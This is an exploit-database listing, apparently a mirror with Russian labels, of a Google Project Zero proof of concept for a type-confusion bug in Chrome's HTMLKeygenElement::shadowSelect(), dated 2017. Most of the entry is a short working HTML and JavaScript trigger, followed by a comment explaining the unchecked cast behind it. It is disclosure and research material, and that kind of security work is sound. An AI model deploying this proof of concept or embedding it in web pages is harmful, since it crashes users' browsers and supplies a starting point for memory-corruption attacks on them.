Exploit Google Chrome - 'HTMLKeygenElement::shadowSelect()' Type Confusion

[Exploiter]

EDB-ID

41214

Проверка EDB

1. Пройдено

Автор

GOOGLE SECURITY RESEARCH

Тип уязвимости

DOS

Платформа

MULTIPLE

CVE

N/A

Дата публикации

2017-02-01

Google Chrome - 'HTMLKeygenElement::shadowSelect()' Type Confusion

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=994

Chrome bug:
https://bugs.chromium.org/p/chromium/issues/detail?id=666246

PoC:
-->

<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
<script>
var range = document.caretRangeFromPoint(50, 50);
var shadow_tree_container = range.commonAncestorContainer;
shadow_tree_container.prepend("foo");
keygen_element.disabled = true;
</script>

<!--
What happens here:
1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript
2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.
-->